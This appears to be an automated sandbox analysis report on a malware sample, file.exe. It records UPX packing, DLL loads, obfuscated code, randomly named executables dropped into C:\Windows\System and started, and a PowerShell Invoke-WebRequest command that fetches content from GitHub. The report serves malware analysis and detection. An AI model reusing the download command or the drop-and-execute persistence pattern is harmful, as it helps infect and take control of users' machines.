Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: imgutil.dll
Source: C:\Windows\System\xIpouRJ.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\xIpouRJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\ERbKWDm.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\ERbKWDm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\wHnuprt.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\wHnuprt.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\uxMRJKa.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\uxMRJKa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\bJVoOik.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\bJVoOik.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\wkazDeV.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\wkazDeV.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\VWrcuzM.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\VWrcuzM.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\wJNkgSa.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\wJNkgSa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\imwRXsl.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\imwRXsl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\bzSbRdi.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\bzSbRdi.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\Csmwgyb.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\Csmwgyb.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\defQfgC.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\defQfgC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\XZxtJFw.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\XZxtJFw.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\MwFvbxc.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\MwFvbxc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\hAOVVjq.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\hAOVVjq.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\oxCQuSo.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\oxCQuSo.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\vyHGCnK.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\vyHGCnK.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\mbSqRHL.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\mbSqRHL.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\VFkciqc.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\VFkciqc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\sdTevgk.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\sdTevgk.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\eVVPPqR.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\eVVPPqR.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\VHwkuIa.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\VHwkuIa.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\WLWcTVM.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\WLWcTVM.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\WCbcoxD.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\WCbcoxD.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\QWtCxan.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\QWtCxan.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\fpHmIIc.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\fpHmIIc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\FGSooXz.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\FGSooXz.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\mKdsHiQ.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\mKdsHiQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\nWSykjl.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\nWSykjl.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\LKurWpq.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\LKurWpq.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\iHSYLud.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\iHSYLud.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\tyQdqmC.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\tyQdqmC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\sabRErB.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\sabRErB.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\ZTSJHKb.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\ZTSJHKb.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\xNhRSWh.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\xNhRSWh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\jtnQpnb.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\jtnQpnb.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\hEUEsIC.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\hEUEsIC.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System\UqXZtcb.exe	Section loaded: apphelp.dll
Source: C:\Windows\System\UqXZtcb.exe	Section loaded: kernel.appcore.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 1262731 > 1048576

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "			Jump to behavior

Source: C:\Windows\System\xIpouRJ.exe

Code function: 4_2_00007FF66685EBF0 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,

4_2_00007FF66685EBF0

Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666807FA3 push qword ptr [00007FF5F1C8AA28h]; retf	4_2_00007FF666807FA9
Source: C:\Windows\System\xIpouRJ.exe	Code function: 4_2_00007FF666808072 push qword ptr [00007FF5F1C8AAF7h]; retf	4_2_00007FF666808078
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBD8072 push qword ptr [00007FF60905AAF7h]; retf	5_2_00007FF67DBD8078
Source: C:\Windows\System\ERbKWDm.exe	Code function: 5_2_00007FF67DBD7FA3 push qword ptr [00007FF60905AA28h]; retf	5_2_00007FF67DBD7FA9
Source: C:\Windows\System\wHnuprt.exe	Code function: 6_2_00007FF7C3B68072 push qword ptr [00007FF74EFEAAF7h]; retf	6_2_00007FF7C3B68078
Source: C:\Windows\System\wHnuprt.exe	Code function: 6_2_00007FF7C3B67FA3 push qword ptr [00007FF74EFEAA28h]; retf	6_2_00007FF7C3B67FA9
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEA97FA3 push qword ptr [00007FF649F1AA28h]; retf	7_2_00007FF6BEA97FA9
Source: C:\Windows\System\uxMRJKa.exe	Code function: 7_2_00007FF6BEA98072 push qword ptr [00007FF649F1AAF7h]; retf	7_2_00007FF6BEA98078
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3CE8072 push qword ptr [00007FF63F16AAF7h]; retf	8_2_00007FF6B3CE8078
Source: C:\Windows\System\bJVoOik.exe	Code function: 8_2_00007FF6B3CE7FA3 push qword ptr [00007FF63F16AA28h]; retf	8_2_00007FF6B3CE7FA9
Source: C:\Windows\System\wkazDeV.exe	Code function: 9_2_00007FF68B318072 push qword ptr [00007FF61679AAF7h]; retf	9_2_00007FF68B318078
Source: C:\Windows\System\wkazDeV.exe	Code function: 9_2_00007FF68B317FA3 push qword ptr [00007FF61679AA28h]; retf	9_2_00007FF68B317FA9
Source: C:\Windows\System\VWrcuzM.exe	Code function: 10_2_00007FF748337FA3 push qword ptr [00007FF6D37BAA28h]; retf	10_2_00007FF748337FA9
Source: C:\Windows\System\VWrcuzM.exe	Code function: 10_2_00007FF748338072 push qword ptr [00007FF6D37BAAF7h]; retf	10_2_00007FF748338078

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

